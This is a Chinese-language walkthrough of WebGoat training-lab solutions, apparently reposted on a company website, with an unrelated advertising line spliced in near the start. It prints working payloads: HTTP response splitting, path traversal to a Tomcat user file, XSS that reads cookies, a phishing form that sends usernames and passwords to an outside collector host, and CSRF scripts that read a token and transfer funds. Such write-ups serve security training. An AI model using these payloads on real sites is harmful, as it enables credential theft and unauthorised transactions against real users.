***General*************************************************************
1、Http Spliting
step1
成都創(chuàng)新互聯公司專注于光澤企業(yè)網站建設,自適應網站建設,商城網站建設。光澤網站建設公司,為光澤等地區(qū)提供建站服務。全流程按需定制開發(fā),專業(yè)設計,全程項目跟蹤,成都創(chuàng)新互聯公司專業(yè)和態(tài)度為您提供的服務
cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-length:30%0a<html>Haha</html>
step2
//添加Last-Modified頭,設置服務器頁面的過期時間,注意日期的格式。
cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aLast-Modified:%20Thu,%2001%20Jan%204099%2012:00:00%20GMT%20%20%20%0aContent-Type:%20text/html%0aContent-length:30%0a<html>Haha</html>
***Access Control Flaws**************************************************
1、Bypass a Path Based Access Control Scheme
../../../../../../../etc/tomcat6/tomcat-users.xml
當前在第幾級目錄,則有多少個..就可以到根目錄。
***AJAX Security*********************************************************
1、LAB: DOM-Based cross-site scripting
step1
<img src="/webgoat/p_w_picpaths/logos/owasp.jpg"></img>
submit
step2
<img src="/webgoat/p_w_picpaths/logos/owasp.jpg" onerror="javascript:alert(/xss/)"></img> onmouseover......
<a onclick="javascript:alert(/xss/)">haha</a>
onmouseover/onmouseout......
<a onclick="javascript:eval(document.location.>haha</a>
step3
<iframe src="javascript:alert(/xss/)"></iframe>
step4
Please enter your password:<br><input type="password" id="passwd"><br><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button>
可以通關,但是pass.value會報錯。
step5
編輯/owaspbwa/WebGoat-svn/target/WebGoat-5.4+SVN/javascript/DOMXSS.js,給name添加escapeHTML函數。
function displayGreeting(name) { if (name != ''){ document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name); + "!"; }
編碼后,變成
<h2 id="greeting">Hello, <a onclick="javascript:alert(/xss/)">haha</a></h2>
2、LAB: Client Side Filtering
step1
用webscarab抓取Ajax數據,可以發(fā)現12個員工的數據。
3、XML Injection
4、JSON Injection
用webscarab抓取xml、JSON數據直接進行修改即可。
5、Silent Transactions Attacks
分析script代碼知Ajax調用submitData(accountNo, balance)函數轉賬,則可直接調用此函數進行轉賬。在瀏覽器輸入:
javascript:submitData(666,10000)
6、Dangerous Use of Eval
123"');alert(document.cookie);//
alert('Whoops:You entered an incorrect access code of "123"');alert(document.cookie);//"';
7、Insecure Client Storage
step1
firebug調試clientSideValidation.js,在42行return caesar處設置斷點,連續(xù)運行即可發(fā)現所有coupon碼:
platinum gold pressone presstuo
輸入任意一個即可通過
step2
用webscarab抓取Ajax返回包,修改返回值為0即可完成。
***Authentication Flaws*************************************************************
1、Basic Authentication
step1
查看請求頭即可知。
step2
1、使用webscarab刪除認證頭以及cookie(必須同時刪除這兩個)。
2、在返回的登錄框中用basic:basic登錄。
3、刪掉此時cookie的值,即返回一個全新的webgoat。
4、選擇此次課程即可通過。
2、Multi Level Login 2
以Joe/banana登錄,輸入指定的Tan即可查詢自己的信息。此時通過webscarab修改發(fā)送請求的hidden_user的值為Jane即可。
3、Multi Level Login 1
同上,修改hidden_tan的值即可。
***Buffer Overflows********************************************************************
1、Off-by-One Overflows
使用burpsuite注入。
***Code Quality*************************************************************************
1、Discover Clues in the HTML
查看html源碼,搜索<!即可發(fā)現:
<!-- FIXME admin:adminpw --><!-- Use Admin to regenerate database -->
***Cross-Site Scripting (XSS)***********************************************************
1、Phishing with XSS
構造form表單:
</form><br><br><br><hr><form action="http://xx.xx.xx.xx/webgoat/Catcher" method="get"><h4>This feature requires account login:<h4><br><input type="text" name="PROPERTY" value="yes" hidden=""><br>Enter username: <input type="text" name="user"><br>Enter password: <input type="password" name="password"><br> <input type="submit" value="Login" name="submit"></form>
通過代理可以看到確實向服務器發(fā)送了http://xx.xx.xx.xx/webgoat/Catcher?PROPERTY=yes&user=XX&password=XX&submit=Login的請求,但提示請求的內容不存在?。。。。。?!
2、LAB: Cross Site Scripting
step1
編輯tom的profile,修改street部分為:<script>alert(/xss/)<script>,然后用Jerry登錄查看tom的profile即可完成課程。//也可以修改其他字段。
step3
3、Stored XSS Attacks
在Message框內輸入<script>alert(/xss/)</script>即可。
4、Reflected XSS Attacks
觀察發(fā)現,UpdateCart Purchase均以post提交數據,但Enter your credit card number:以及Enter your three digit access code:處的值均被post原樣返回,所以可以在
此處構造js。<script>alert(/xss/)</script>
5、Cross Site Request Forgery (CSRF)
同Stored Xss
<img src="http://192.168.6.134/WebGoat/attack?Screen=888&menu=900&Num=6&transferFunds=4000" width="1" height="1"><img>
6、CSRF Prompt By-Pass
<img src="http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=5000" onerror="document.getElementById('imgConfirm').src='http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=CONFIRM'" width="1" height="1" /> <img id="imgConfirm" width="1" height="1" />
7、CSRF Token By-Pass
A、打開資金轉賬頁面:在URL后添加transferFunds=main參數。
B、查看頁面源碼,發(fā)現:<input type="hidden" value="-953910496" name="CSRFToken">
C、構造Payload。關鍵是先加參數transferFunds=main打開轉賬頁面獲取該頁面的CSRFToken。
<script> var tokenvalue; function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[1]; var token = form.CSRFToken.value; tokenvalue = '&CSRFToken='+token; loadFrame2(); } function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=4000"+tokenvalue; } </script> <iframe src="http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="1" scrolling=yes height="1"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="1" scrolling=yes height="1"></iframe>
網頁題目:WebGoat題目解答(General~XSS)
URL分享:http://jinyejixie.com/article44/gpsdee.html
成都網站建設公司_創(chuàng)新互聯,為您提供做網站、軟件開發(fā)、云服務器、電子商務、微信公眾號、品牌網站建設
聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯